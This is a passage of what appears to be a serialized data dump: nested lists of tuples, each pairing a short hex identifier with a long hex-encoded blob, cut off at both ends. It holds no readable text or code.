'abbbbe687598dc10daa1d0e42e12d56254d740a14c092900f11c97d4e64b12b3dd07dd7a9056df89622341e21cc2a8e1f0d47d208b9e10a5c59fb2019f2209bad78718e31863d06513659a0de3f8826c54d0fae2e0f346cea6c6fdbf3a4597680cfdbfdfce3778193b984f305b4e94954b00f8df6d816b7094c016a26386a94e2cc1c97cc53e974ae72777dba1f21d02d94ab14975accb7b60669f1b95e73549668930c0972678b9ee02a0c6c6b035f8520b8383248fbc12e0903d14824e128a01a6e0feb3d93acdaa56ac777c4c4ef3f55e2bd63e9d549c88e0cc193e5d8d38f4de868ab708a7047b0d8fb561eff726a9193d10be009ec2985a7de5211d00decfbd5ca6b4ddc3d7d82ff64d69405bf04faaef5ba463af446c4fab05b93e0e04b33a03fc64d05a58319f1f5bc225ac55c688c0699ccdb6a2b527a97b703e1b61b369cd769b6f3aa71cfdae4fb6fa48fd965e9e01ede4a2c9326bab15b83297515294ee238cbe598e7c0b4cec734e6aae9f21d00e5abc33b3009d145c2b5538b241e806c6bc33ca7b4716a6c2c22625f94c7f89dd12f1d9b44036137ef0773d0381fba52884891e1f07c62805ee664bde8e87fb8fddf184db0bf4093244818bf0ab2f615b979f0e964b08495a580bfcd59b23c2bea1314acfee09cbc14702a26c0b7c6c2bce56f6126126d7a276d24b84'), ('5b5e47ecaa0bc5a39f3020f2465413c6', '4b896a92bb56fc8d2554b8a4b2096db910729d35732a6c581c17af33d433972ba5468377583575b961df44d928b6ded0a23fbae587021ec03bd14f15f5bb4e3d677f27709eb4e9b92ef71e043558ba40c91bdc2a1cb2ae8f187ac301a0b051e58a2a5e989b8c4516273e1a5f262b5226d993e448005362e32fa00aaa38f60268c9ae6dd718f81e66d5a995e935553f97abc3e7b37dc994ae3e985b30e802979ab5880d3c51903ed545b68dc95112533a580d33947538c6e501283e01aca9119e36fbc7f613d8420cff5d4495a8c4e8ac4d355b35343d205301f816f5aea1df39dc24be1ac1d4802365b72335e1c6335f1ad92d755d0279fb22175a12d182f0ca7a40375c089365a29cba047f3ca5414120c12899735cc74dda1d949fb578698ce36bd33873c132acc007380bc4507c8eb2e2f6f6e0fa513ff08fcbc4c83f9eb63c97c10be798e08c3007f332653ca2e8bb65971e8d591fa5314f56fa52a3aa134b047d5dbdf53fc92f938e5c95aa82ab1d1df58ac19c45be82c9fe9aa91052d5079c694a7cf6696ba5d2eab2b6e0770462277b28ef8de469b740d32dca5c7728949a5a8632f0c7f546c8ab037d3e9abacdc516522de92ea0af47c673c9ab8c33bd00d198ff78832716c98bbd9b5ecda014c8f0c96219d60b84df893f5f7fb03ef7bfa3c34e499b6d7b593397fe31fcf8'), ('28b4316cbd0c150c6301cdc12bea32c1', '77e621bb9caec5147b257671beceecfbde911f28ae39fb48590072949171ae652a71fd9c464809c386148afe08c48c5e6ec640a9349f4b9bcd8b82f0c9e3afb490b3975605f31df82bbee4e06ded44c265d8c964c1bbdb3bcf4396820244dfa8776ba8ee3a93478e9d7b49c9cd60266770e4af9b64c23afac2d32c9c4a336bac1e51a04113142f19007584294eeef2f24a24cfac379fa01725ec2be37b8163692ebb2ebfcaf75e5285a1eea406f583c4f8ae62165c85bd6dad3b9746c66a929e5722af2dfedd1e215e4f4cd2567a1d438db9c4bd589e43ca4fc7d108c0e9965b40798175ad905e5f59e57b1bed5b9ea75a63a3545847406999f37dd6fb9de9d5d40579d1052da02fa355441bbd9b263f6ee552ab4568d9270734c49d4a68da269dae11b2306d6fdf5f697b6acb765a0eedf6cd9aa38f234b2efbc87f44abb89717e888c0069444ccec5bca72a08673db0ff5e876a3199020700b214871aeb07adb36b2fa0caa4292f3958a7cfe49b49cb85b95554ee80c4e56dc23bba28664c228f57e70dad16240a24287136438a902cd3f3676fc4dcf71fe0ed1e67baaec9f39f1c02d45b3e45f62c0938982d00058f5b83f1f5ee13e33e40e599d5de22b4a85c9eb51e3bf7a3ff1fc553843d062af641e1a6bef6918ddd457fab17ea3ef008e53e060057c520e2ed12c105e41712f'), ('c7bab984d83b0fb2a252ef74aee3a332', 'a6c7e498a9a3768f48e79e464999be97e5718f8c31dc4342d16bcf43155d241e6ddb053e55d36a156b14b3de510ae0970136c7e4c8b9cbb4e010691a504ba9a125863af5d4ef701cb4f938c8b732975827bd2c9657c0b1544f4566aaaed61294d6e604a60c88d5e889fbd873b50172355039d19f97af087158a4a637bc7d4383c11b072b2fd3247f948e074f6fef9efe901221189b33975a8ff2b2d5e1921c80614cf51cf22b8156da2777d3ad41abc56c8b84692a8e15d03241e29c2547bba306ec406e29a206b0ca6f1f4f61757d9fc83c86fd413cdc729b8fc4a4cc66ede3879a08a18548ac4eded64eed36006cc499e195b1a1a6512ba3dd760354254a0316d4019b4c8c697053986d84a6371f4db01422396e25ca5d3f1d733bbaab312e1942f14aaf7ed7ab20d464de5e6b20d1ea7ce4e80db75b26939598e416c51a7c8ac82113a3f891fd1bfb8f93258ba1a10db17d2837719b465a0487bf6952cabbef45211b9a636a97b400ca35db248aeee4e8dafffa9931985e3b2a6d5503081a4c2e1fb24268bc62733e50615b764aa0c7ea75912f64692de74a517f2f8477417bf83a3f085d3a3ee5e7ef0cfcb7e1a595ff7f82d277991e5b7b0db6d4bce67c03192374855a16ed5dd8363a923e34ad27af84d0a094adbf020a5c2e460311cfbc9e453a99b13416f486ad88a2716017')], [('a75edbc0dcdb1e6163f2876702ee07f3', '86558f90c2f874954916a64e01945befbb8ba4c3ca36ca3307e86f6e942c67d0dcecafb1895e64f2ddbe3b7b861c61ba290b0fd0eaf2c5e03d2bb831efe7b9b457f5ba8298cb35b713d15946d2348c529e74b80afade7916faaaad698dd1e826f25b64e42f185c77cc6a331a7603f763d6085531818854cd56c1a515cde3f867f4dfe5367b85184431e563c8a7085bc603711318e52373d18508700c4e3a694c68f5e76bcb6d8be686c7a7c0ed1f7482ed68ada0d7f0b608d49113e95571aff17a055b435bde520365b9b9ee90d5bf162a4bc13d0ad2dca846a239dc6736344a1adfb701ba886956e94ae10e202d65962cfc374ffd22533486c98f2e7f220dd84fd92253b28b7528946d64a7e4e3584e666cc28e591f08e5c2a066bc15fe93f7f68e2930726d4e85a6692d2a1a7acacc9c2466da556b7d7fdb2f5bc6969d22b446b4cb5bc72a7f91559c8fa1fd75d38b0710b806c1f5a030def5a9d16e35fb6cca9734a173ddbd1ead41db01c6774275e97aea31fc201d48c3840634aff535cfacfe2780be5682e5b1411ab5a96a85bc063e1df5ac2909ecc12fb4ad09485734356c31df1af9fdc0c10f0b38c2b0f16aef895ac6b409842cee21cad2fe22aa85b040c2a3e4c136e26963afc52f1d1008f211e4ec1cab2a82a0e1f53419b2cffce38143fec790e8ab62614de1eacd180e09b12c787eee1b738b487c0c1b4b3df1'), ('c55503b430cc81a392721667acc1bf66', '49a84566a7ff58ff5b83f8fb3718fbe54b21a67f7550a3246119747b5e1585ec407c6617d3a7095c27082255b1f2778fd75932e11c3adc765e177671a084c499c6671846a629c0c39bbe525507ab86428824b0d7ba97caa1e963b33297086f3e3c4a22887d5cfda88c5f27034a33613818694a19c099caa19c1712e0443459348b0a7e59a13547520f0a71cc321750cff9add7c4143fb0ede59895ecc72b8501829f83f443da1b3aea3db484acb5005866c9e226c42fbd6392c3f0bcd521da7e22cdf21a58b248bda545ffcdfd4c5503bd674997f33ec87e2615840051e50e663c1793b046a5e4cbd6416de27f50aa4e74a3d358e213418cdc33dc7c9f733e54a255ff9a61026c43a9ba581584b18d897710e062cb22cd1532f5c77824c4701ff107c24f980e3f943feccc529a42b79851b18a7139d6d4ab594cac1a01e17ac71197142dd0c358ed9da85b7f7dac3016241832ff9d1d81666ddd1a592d7ea96e838ab8ba198a6c6f050dc6a9308a886ec1ad3053b18b7eaee2258b0e0a64db9c97447472878549341f2829c4fbba12316ba77f83d9247f2eec3a049c2037005e532b9b382b5308e9d5ccb7fda73b1777a7ad5b5798b3b19c1279e13ec3d213e19f5f0c648a1f66ff6d383ccddd19d43835177bbad3a5612a94314ba85a8081b7867e0a97bbf0a48bd2cc84d9571772e9affaad63a717cf33bc5b2c31e8014e32'), ('e2f64a7a47c93fa87829f53c4ef93cee', '9809d7b934924ac854d75ba9db73c5b33ccb168496268ea257c707ba3a026c921f0f9c4cb3ed6bb7c8463a0340ff8da6d33b5863689c6c674902b71a4a20155b1d99c0d723701dadedf5ebfb811919be8438cc6e936c6e4770b1ce8cead1e5998fbf7e28577aa09867f179f3bd42e3b1282d5e24aa30b05e90f180a4a1707adc42f3a73806354b354d3650afe5a3d36fe6f3299259e58083d7eb5bd642566f1a58b713f9d10da16cf7b267b03048341f1ffffbd2c45e9bf5fbe685342fbe70016138ea181711531150ceb5d104989fe174ff583692cfa495bd3b55d4bfbef51541d0a7d101ff12c957eddd124322f46175887b627c30e9e87baf56d100640fbf271391a121224401ac54166f126c6eeea95ffa0c9dd99016b232e1f62045ffccd3546d95424d1665bc0998ffc413bf9be6148565a04170f9495e61d094a9e28a2bb14f12092aa3779e1cc01403b83575020a294742011f6e407aeacdf5380b5b9eafe42aae0c5960eec92d100d6cd65f063449a0380ef8ddc15a09b06ec0c6f2fedc27a3c50bbabaffb7766b33819b72044d0b96b8244263b024e244f1ae1fed443d1f39f9c302bbb693367e1c827839ea51b6eebdb0b83f212db23f139e18c3bb431de226ecad0900d8fd0713deb1a3128c69ab887d6a9f38aa9c14a3d68cb65cbd0b12b9813c8641998d2d02143a97ecdf2c44938e5cdbe02ad37ca1793fe7'), ('eb22dd0fbc02e6eb67f0434e3f97e8bc', 'fc4c234740c3ccb8ec21e3c775466a3987d38ee96876d3c1cdd12e75f894eadece7d63fe9c00bc2c7ba5ca042a6da66fe564d4f8fb8900b834348d357f026779c299f967277fba57f02915340c626dbc110ce8998b547e94ba419423a11f02485cc5c7d83cb199fe68d025330684ef99efaa4ee9854feb6e91483a7ca57adc6769a097cc8a50f0ee683082a988662bb48674cd47d2d676597b3a60d7383b75bac76c86fac0d44ca5a0f5058ce4824ea8a0871352af61e8c00d63184f931f83ef1d409ee3b20e30ebe33062c051f1b5c622eb37a6ab8999dd23a1f02b6e5f667d28f7ca66b350236b07992fde8525e2542802da38da1f52d659f4ca829ab18bcb74c9c202cda35b71996b1d10538c8746b799a3ccccf5f11b7cf2b78f9eb33d5ed58a6261db24b73b87ac316fb3eb54085385af0e9dac4ce2faae71cac487b1bba536948b552d717ce04318f7cff1f8ba527f3a992456c6b821236d911ff145fa9d02bf1aa4c498d1006c381463063d166e47c57257eb79d8eb29593ed439c3443a5bc1ec021784b6cbe870c2f5417ebf9775d190ce661f274af3d82f0baf736ff363c5055171d17e9811b7df42f747e309cba96fcfb4616512c99de7617d54b2de501bd0075656b82785d59421990a2b112f87c63d4ed33df9693eb665cae21bd070005c1f5e629820845b4353f624a3e8896a8a33470be3fdb113faac29794f'), ('9ab4b380aa24602c875486fb8b7250e1', 'f12368dba4d3cb351b3897092925b4849072f65c93aba6d95cc1cfb5b0483dd4d63e19baa9f88ac790a4ac1e4339c35436e04aba83a5e4473cb97159d6fe492b57789a76eeb61d651346aa230f728705cd73b345009dda856ba99ab773f4ae9e79d3c53108a571b2165ca55bae8c015e6d689da9e808c1853faa5f88891909e2b3d6d9c1fb9217e1692e43c2cd856e97332d1c94f556542442125eb39866144881d26ee2e0406f06b2c4f19b3170d7a05a2c9443ebf428e3e8b8bde55859c3a22e35715d5997b73e03bad9f21cacb614086ad8e2d07c421f1d53479001b876937054d4bcc1281ddd3816584160cae154ee719755f24ad122948474144f46df838262dacf261b39e7610f7edfe931131e775db33ae8c6dd94581375638d9456012e8e45c2a78400211b76da5c4e8a6cf36f7c3e7613eb9a0eca4a1c5d024b6e4c77648798c5d8682a975f0606e282e5766236cc65101a9eae1e70c1cc78af90d42324918413dbaa8e4561770b1a397d05d89c2087617a5ce0af10a59d36bead7a64e9c4b3d53566bdaa2925e93f4961a77c158cb1974f9fd543ba4b60d21759fe42d94fbaf37ad5c7c71229f2cb7397f21d9b6b10f06ec681a2bee9f041b39c0b58390c72f362363cf7376f5891952914c33d2cb90d5ff7b86fe53b4057d0ab81f0618ca8d0870f8d535c3307f8cb623a10553a59e884c33d58c05fc71ae5e652'), ('9a7884fec49e61a404cbf516f33cf731', 'f6b63a44d169afad20276c25aeedc987f04677e4f85ed863c98352fb7303ca40e086570ca4b507b8bf8c99cf91b3366d3818ec90f01386ae99befd672df12f653c59468c721dfa706c235f2df0f127bb27b6da34935fb05bdec9820a23312c00cf6ba60ca22e8e58cded66b326bb46a100ff72e12d9d511815b731fd1c1305a86e2451c9cac15024784370488175495d5bb410fb6435ddbe329d1bebed4e737bd5d1b3a0bb755f003239c1cfc5d4e1ec9e748e5dc913f46f3b2176c66522f75f5e8a3474a98af20063211ac03bea256746ccdff9bc23f70f312531dbb08bbbd1cba1435511c13811db22f04c7dd500cc759711251ef129227958a5df6005583fb2d2dfea10956e3e0719792fec71e0b9932c755b0b76e88bc93ed0fecbab6b21b1508797865f1fd42b66aaf742cc6ee4c290aaab03673a33c91582fed84fcf2c4c3f472be86d681db9c46d664744c19698ff7b004ec432a85841a31d41ba54cba5ba3499a7b63ddc5cd8a94f5fa255b40f9af88faec4eaeeda46ff8f2f576e88ec0794bb22ea4d4a95f8cd3a1c29d00c2938a3e9755c30336666713159e503f7759b6252cfa0f14f45cc78423b6871f4cc2ee014cbc5cf395881c3d12414e07546aece36ee3f2efcf4ae4cee0de142efb217d2e5493f7879893e5da8db21188639238adc6730bc94c2dc1ef4e0eaa55a2d677dd394d7894f0f0c51aebb6d556d'), ('f102921b94077ab5225baf1ad95d5852', '5bf4e696c7431cc974e686e1d43ffba43e9a7e740333a448b0f4f7682cfd02d36b3e0e3d896763160eaf462abddda18ae35791218b5e1c3c5d8a3bf9019c060f8d948e4a4545c3b5be776fcf0811aada9776a6e59aa2ffbf79cf183e7434ae91422ed7f8fd3ba2e7e5048f202c37640bea82bea9177d6e0643288416d3e8c2fd417c7cbb3e01444c0c915dac87453ba0f860d18880cd26df67869cd5a1e16dd3bb1a293f36df9fa01a8949f606a77a1a55237c3a6efab5a014301da6f1a54c67ef700d9991aa11656d6628b765a93758ef7e1cf86e998a57e519ee645e44b22579bbfe53ad1186a43225122c86135ac1410ff97fa2653c46da9690abedb0272ce833dea397176e9b3e6c8536ebbbd1f909b354f09521ce7807dca8f737037858ef6d4f0c32ee485bd50794f8badf85382c91da8081e1bedc6262d2382409a579bc0a5c7b2bc7443087fa6e55b864a18dea51f9914fff54dd2b31e7a6fae4f0cf28106aace82f5b9bbe8b850a0354e52883dd069f864138aadf00abf4cf28f484801b1eb06fe10035c32033da7097c0677cb89a641a9758034b333b75c15f52edfddbb05c9a1f329a5b0d1d2215375882ec94fe64e5b1bc14c67a6fa39a649e8fd56bdc5210860a941509d81089c89cc0975a1922a88869c2c8b739c048fe1eb731321574c162738ed60c26e1272a4d01f1d92f591a27a2df4c742d73bc414da5'), ('003b069839997d4e66f0f43aa8edae51', '4e7031a86861ec39a36a0f0ad69c80015516072c7fcc6022600fe186d2edcf123ce6f417471d43ff53d6d844977150fc546a58cbab5358dcc4ce897efa78b21b20e024cc6048e450df5327a0288d50338207ab54d2f711aa2d236533a3f88d1c6ac9353504b0349f1b3864e6b10c809dfbbb38ce4a50ecc95860d061e33bdfdc8c757d5533ee39008ec70bab74839c309af3913a7c067d1a60738077dae9553c6c4313a4588cfe8901ca5251a719fa02021bc73fca84e3d0e50927747c40955cac194c6deb8a4ad71bfa8b4812458c5b6522f80972d6836ec9a00d565ecfb7f293aa167f3787677914ece430c3395b416874bd22226be9dc88281f5ccac1c1162f6eb4c992a3cef89ac806ec5bd2a810c40c698b1f0f9bcccaeba12ee75670f5ccfdea24d202e204505e3764410851498d584beb8c2d21527ed6082d835201e9189ab20b79ad4ba84b93ee631674842f14423ef4decf145c597eb0f033d0c3382711a820067cad33b615de030ef4bb900ec9e5abe87201ee0b7da96d046db10ff4dc936d2a678574d68884beb1ab955df63c98084047c4d2e2e5795ce0b72e861910855e03c74794e0023a4efbd9feaae8ad016611fe76294c256fcff9e706acfffbd10e2f5b5dc63cc60bdc1104e96ecaacfe1095f18a5dbc5d47f081b41777d457dceb2362da56ec148f58d047dc22692f5e73acf86fec946991d49ba45d39'), ('080ef6b94d41c96b18098f2ed205164f', 'b28da2e4eb8b9ac6a9cd47061088fd62ad2d94afd94d6a31e462e3ff7ad66ef1ea9e6200279bd30039bf991845f3e403cf234e6ac9959295af55a9dffaeab11f5a3b2d994cdf8de7f6845fb38ec9c0ebee0f8778ba0640348a1a7bde4dcfb817a6a34d87645de2d4e2aabb97f5769ea9ac0bbac864306f397cb5905a85882b2bba53e3d812ed5c6ba23fc3bd7c592796c4112a9e5562657236f36f4c830a8392e0c598bd9cfe8ad4e3066a77280aefe3b9d8166da74698d340382b0ba61ff900922e2d6b9d30c65a330d20ab85248c4c34590cc1a745c9bfc9f3702b4159ef94c5486890a4ad257b8da938c89a059d92d39a3c6aadd7ca7c231ede40c3417c59238f3d7fe42a466184e73c11a635a5a1af6a1deb889102ce42977a789db023dc17caeaf8c4922bbf6b704ce19f618600c994505d84f552e704f57ddb0ac7265bbf317ca2eace5ebccbf16df23b715e1d0c4f2d350ad8975ab77217ff740e1a8462ba77fd11019a193282e6625afc0f239a17773dba57adb2105cd8c32fddb1ea34d81b99d6b9c5858224f0e79aa0760a081bb70651e8de30ff0c129de19e9f069592806790daf4173c650621a7da21f957f64c3389ba84a096c703c0c91f2304ed711f27d508fbb7b9fb1073ea752c5bed2b0d58b7d0f56aff6eb2188c30fabc1c55537dd2562dd39e68d21b995c7d1a16852518af0a73b860e9c6b7143253cc'), ('a63af10e8eb7f7fa5628459037731b77', 'fc9e1c8059297f029393b3164ac164a1e84de2a64effa654047c8f1747939b96cfa486cd83b8784743fe6cde8f35f27905c24eb4633ab20e93c9b2ad6c470e60bec69633151a150c172d5e477a2b163a611844b92f76e21f24a36914ddc5fa45085272f4ef3603f7df3e75441601d562f8a44264bc6f59e667ae6596998013cd225ad7d3f949114292d884bc4d3505021221a1cf93f51a2b3e28abe9934d9a61f0ebe12a645f9c76c9d441838ff1b1cba0fc13380bfe8a79b15ec4fc040ce87cee5b60aa2bf4bec29028e8df17810daf479f3a9ac180ddf338533b3e6055a21304a7cc7966ae3d80ff0d622a729fe0a30de7acedcb23f911b023a12de7608866112259d1bd43eb2439e96ea4359f7fce2e80e796f92ee4f6903c7fbcacc1701a22b0c06071ea54a89d95f6ab52a2a2c1912b8afc073d08445df3b4a8f9816677eef73124fd59fc78b799141d8bd4bdf49eadfa70c93303b54a920f78101cab7ac0a2b59d807ba4780c576686fe0a47d6a0bf5c311cff418a9154afd0cb0f58c6d25a898b566670e706f7721f91aa3309881d9735633fec744e5e06943648540d75a93889fb7db492475753b162bf396515e4f8f2fc3993f6eb89b8a2210402ed01eb4a2fe346350b9378bffa9c76752362167815675c435c96b06805799f7b3399d105f29281713f332312d31ad7add10b261badfc798cc8b6176ec3dd21d457')], [('23d1e9f87a84a29a142edc2ed3380cf5', '4bb7858a49aa36d459acfa2e34039e9d83ffdfb7bf65ee887482216e30e5b98821d685cd0fede93802cf2fb76b050f62320b5a238e15ba8875462c1ed7aa62885b30edd6cc2f03c87b0f7f98365cd6efe289ba8d177f99ca5d14e43bcea1fbf9bd3c490116113e4588656078461a4c1898cd104ca6d8e3d293c36f197fff1f130332f68483985a6c650a9ecd58a1633bf5514504486402b72dac5f6a27cd5d629d0a956897eb36a0f04df0d30b10c457bf1b135108fa6663179d40a25140864ae44139af4e7b1f9f6e750898ced656a63815bc82ae80dd692a91c164e1434d2e1cda7bf03be22f339ed334e734afc02de53ba79ee65701c5948e90e878b7841fc3a18bc8c82db8fe71c96bc03cfea06d8be2fe0e65b29b4b2b74f78ccc4cbb25c5aefe45b0580ef3d89889d3c62d73da3c764d0309cb10d34c17a8cc3c90e7cb269f5f15d3fd068699f766ca05ab06d665ca35b9e3d0ac38bc5b35e809996185f845270eefdeb889ddda8bb667a21eb89b7d8bb585a5429fc11474991f11405eb878372529d4c886ba43f5fb0fb69f2a610c1fef6b872a1bc9e0df65f6798bcce350d9eb0d6cff6cc9bf7be39b7dd8afac54da21ab56e346d30da0c8e163ff296d102b5866dcede4e55014aeb784c0e585f0b5641d9904421a817de1bb9ea126e0eccfafe36757beb9c9a8aa040beee242c86e3538343c01838a9664883a789d15884ea477208daad2e7e08d1eb484ba'), ('a53d70bfcf98b677bcc0130a94409f64', 'c34186408eefa7056e5a6520a5af2bacdc5d21fda89fcf6d6c7ca1266383ee041c16897b73ac5c5e52a739b88e3eb1176957c9ce712abd6e10d62359234327d18b96b2d9b0c8db2952bdd9ada3b76d09d7ea66c07da269da45a126731e8ce02d8f73fc94ccb1739b6dab5c49e0da1e957244d7388e93ebb17e6eee63cdd9e204d58947e404c7339f0128a6d18dbd146163b0090ba1f1f3360549eec3f8ee173ffd60ae65d5ac651b538c7c3b36b9dd19feccf0932843fb1d2bb0ce6c87b68d7b24a8b7c946736d63d9e4daec804899abcfd41b17d5f3a71540bff24f4b55b49b317c06be907b5ffbbfd19ad9adac2b005f613a73404f6e0839d5ec611cc6e4a8ae4f3d489359c397e3001907294ef07529c7764c8d6215cdc5756bd8f77fbba895b0e6ba820f0c0fe8f0873c23531a730a4c67d9484f4c33aa4adfc665c0d30f291695cfe9ca5861e5ce2ecc15346094f038a4bb29726eb988a8276ee605a15f7f6bacc74ef22bf143a61ab047f4299e8d465015782458db5058824d26cbc8c10d063c9b5b299559274a599132a8b48f2ca7f0213dd41e2ffb92928a996433a6dfc52a11eb2feca1b8f39ba8ac86c4ccc25df6e9798412f53c940e52d4ee1043ddf5817f22ef0003b62c7b1b9b325ccbd144a0814679d9387981a93cc6cc3895bb9e937298bdc66d4ca60614706b605e466a1c44ef98f4702fef9b0173b7ea5cae7dce602805861ae30729a476d48ff5'), ('018f6272793ff1a7004d3b2b77d33653', '1fd32d42b9bcd319503ba431cb0d727cfdcd4f928e467fe64dc773fd8cf0fb339b25c2281694638d0836684d4541b2a6b2e25168b00ce9dfa9f40222a20bcb43deb9ab139c1cbb4ae8565fa25efb8e5a01fefb9dd9e9c1df22d046835cbd0483882c1ef136bd5fa50a10a05488a9f0eae317c1bce1e3b50836d3c144cbb29dc86cac47e4109a9cf893f5f9562e5eae1d3a893911d10de69591b27c8173ec855e0aefce34ed0f4dbf7393b48449bd0aec36e37859b279994e90700c69ade3fac7b9688e6fcc9b631c4ab38c8e33e9334e7d8348f179856efde54e97998d71586d14a240685433de20dcef9c7b4e3dff1ad1d63633d4f0cde76239f85d58288ef5ef3552e04b74160c41e3f95406d1d50bc334bc794004484ce6c6a0658a927eb94d5e13ed447b1271fe70d169edd557a2af9371afe9916b48314acfb7e77751900145a40c8cf7fb4b5b4af0200d42d9b08d53374f8b81c8f18e55977698d925ad39fce3e486068573627ba4a02bd32ac71772e506c2a65579f38837ca2eb1e49c12d0d14c09990a6c1c9181903b4fe6858dde239691a94101f8be5b31b8f89f93d71709c217da8909664970164323a364ab3991c1a355205024093ed5cfe8420fe8249ffc158f419e8fad97ab21d18addd9f4f4bb8c389040813e5ad641ddca363e3607f191e45acf46de1d93d413ec207636fcc3845cc30657649fc3ddf98492559f0ec0726c1bc4295edf7ba33c2694'), ('045248270453bc78839d2b89ea8bf3f1', '5c56bef5850b0e5a4b07bf36511032f447883c2b1f2000d85a301b6758c6996bb79124dbac9427ec51ca9c4c13bc50cd9324dc0c138526023e6599608818c8a906208c85c4f0884f2403c604ee16e7a02c1081ee416339a93c3ddcdc52cca7d7e10720658aa8af2b7793506f2cb974bc516c86cf216769fb2394b809ced757b6ff4c735b367abf450da22d373e48560e06b611ef4a705b28847b824db8367425318c7c6be7885a6238e82977000c8a610d59645eb6f10bb88ddbf44c740b6971199e886a40b932e6d47db23553bd4cc21c68706284be1d7a29e4041e2a01a3c4b125515d1d5d92bcacf8b9a04b2f203950a0653b3ae431cb87714e485aa9c3c4421b5d5e802b5ae75990b5f7aec87407cfc1bd5dbb48989165bd6785fca4849e1c2b1e0ef4b26a016e13b149a12c4ebab73c746fc26488fd4b17e3de0520ac1082b8f83af123af5362069355f0b06ae03473b58dbe9271acae93c06705b6724d8571766547a328000cb44141a6dcdbef8ced8a8b6a39566e52c94e546f5d7f09b10a5f48ae4cf553c927a51fe1260efe2d2f7d04cef557fb21af3aee4b97e9dd8737d9d7fef5d5dc364ade8c07562f3fce1f4b1b0f8e52304a786d3fd795719222e8d48f3ebc522fa4e54ab1c11808ecb5815de61df1c3d15e272c34179fe674692f8d6c835a7a3d0202b55f526e9a57e26bfe523d1e8833ab2e02ee8297c4963d331b1e4efeb447b2bc9a5cc73ce196'), ('41ee9f4f815555778107d116581b6ba2', '6cca133a935a0bb0098d9afa8175bce7dcfadb0414cb6da3e8e8e0e8b1a2b16a25764395824fdc74e958e444ab130e77f61a489d2c5947e50ab7ddadeafb40fbd6e846a6a3f6086263e2a89cfbb084bf083c53477b32ecc1e96e314e8cf0bac61f1357c1322d9ea0d2114eab10c6e0a0dde49ea2e773e3a45a95dd08b5701bde8ff4cd483e6e0c465340368b2be085f3cf8e4c4f9809fd4ba39e932021d5da272a97f0744369bc47dc41343dcd23efcd369ee896f0ec26a3972d9010cf69877e7749d4b4ab9395dc2656aca0ec69d16c45299b6c640fbd5b40b1f915e5650dba1e869ceef4f31f009f05de0bd587ee9ea4b2fa177d1275b5aa7e969512a7246fd82bb31135c50fa82cdcdb61b5e7d559055e6ecc12f1446f4847a3590569062f3cb6663231b0d4fbc9a958adec3cd9ba48ce785006d294cb421af81fa5d476940c9517fd4a41a413979f40afd6b29f68ecfad129fcd914b08f517dba4c8dc57e641fa8501be4d462b2f742a031dff83cf7a4f12f249fdb9ed2a587e73933e8c19c85a08bf63e6d6dfa256299100d18da5be96a1e8363626a8c02bbc5565a9f4b63e3fd60cdafa8469aba42d10e2f42b580f81e2bcb41f39632ad884da4c6556e96817dc604bf7f2b8e06cb900f9ddbf0cc70e10c5f10a67fa93bb0bdc7d2730fbee6cc9c359a611aa3d4c022af10d6750c9f68ef898d68db6ebf96f283b597caa6863dccbb181d55efe1ef8ecc8fa3c8'), ('79fb5848ec9a6101ba78d9fa50d98fd9', '745e5a0c083093d771260f069dc9e9de24477df2905d8dd3bc3157e9b86e04d9921b3a72cfa3b94129e1c9f3006f3127f482179541bff5b4509136e32b1f210e244bc672a118e0e883ecf9e3ded31d990f67fc7fe4def4befe1428b764860973bfe0e0eaa429351c67c1d1ae27890ddfb3ce5e38901181506b0dbfdc8f7edb3bc08ade99d644dc3ea196df923b3a493d50631c70ca39b55bd85c32fe0f82333220ac8e550ca004a6db8191583e3c4808dc41775ef885e70f59d4dc89e3d4d54ab55670d581c5094ae0a9697ceff355501453f664ac3b6cd9e1931d7f05cf14e746d467de834ee8ea47ce73bfa0fcdb0cb1eebfc9e7aaefec43888309c8c108e9013a0de894e8001fec5ea0528ddc426e187686dfb0af1f54abb061aeaaea344c6826ab9e780bcf93083d6a1147874546ab2701a44b7e4917726dca20539213d0c83e2847dbce701b49499feeca497304ebf61fd19fc1506582a0df8baef66a9a52b49f83bc95c61acd710454ae0e838b0e9a7b14bf8c74096c1863bd8fd9386e56a1a2184e375ae8ae274b0073320b323e1103b08db2f369ed3098b87e03f18e45442b2073cd3d8374d2a5f2d4469aabc67b9914394232fc415d7f8f3246f432c308e831d9139f5bc007b39da599f9ebf151e4ea8896e706acfff76a068f368d0595874cb200c74f0a5d51c127eae7f286c9cb28defc5bd76fb5912eb26e30b54f0b2845fa61f1efe6fd8d3b1c1d1c5c'), ('45f3a8580e70b399b4e871aeb3ec8361', 'c59d8a11cf58726217e393ec5d14a5a3282476f3df5485bd59e3fcc62b10917c8da5e517f3a333dbf572770bba78f47c000d4c3c66820576c979bc600489ed3c2e56d9e875e8087f0201cee8113da8a89048a51798a4b9f9fbfa3f7c716058df811513f935e50491e0019726e80a713bff84d97094a016dbd92e3a3f8140f05e5893538eaa3dec438a495b64246b4203074d390485ce785079d07c9b521c79df3b7c1f4821e6d2086d05fbd2db179eabdf81978eb4b7df5cc2fb0c87635088d920005b0bc75c616af90b5ff92f78417d5606c4f69efa564db3b06657217ee612fd8b95e2ad4c768d365bc1d9e92eea3c821bbc4e2bfc5a231e7d7cd560bda1d9b96298e406b00e11883ebf0313c5d231dcd4649433dddff27846c181fe7bbd52cca5a11b518d14c8dfd0f99508a6faee50212d7b4b94e43a69c309d213fe972f5bddd6ddd8fc844f2869e448ca2a280906e5a4ff0ca3e4cb78cf949178ab9859ea217ad192fb4a34455f5f1f0fef4b5855900f6d53992bf92d4faee6b530f3e80d7a074a17b117b263478013fccb9e62cfe8da0549950ffa60a1896e0a8834576b71a807324af9ca0412a6cd0ec644a533d7579d2d5b2c16047faec9f71d06baac00132c393a744de169151c190db665782e520b95a7077ca7325dc6241ba4d2bb92f1cfcee433d285e1c32f8f0978dfa267bef6ad3a89475f5eb19422a0ad69468b80d3e83aab5ab66f253c197f1ac1'), ('719ba6e0a86d988c78d70f5ec8b93988', 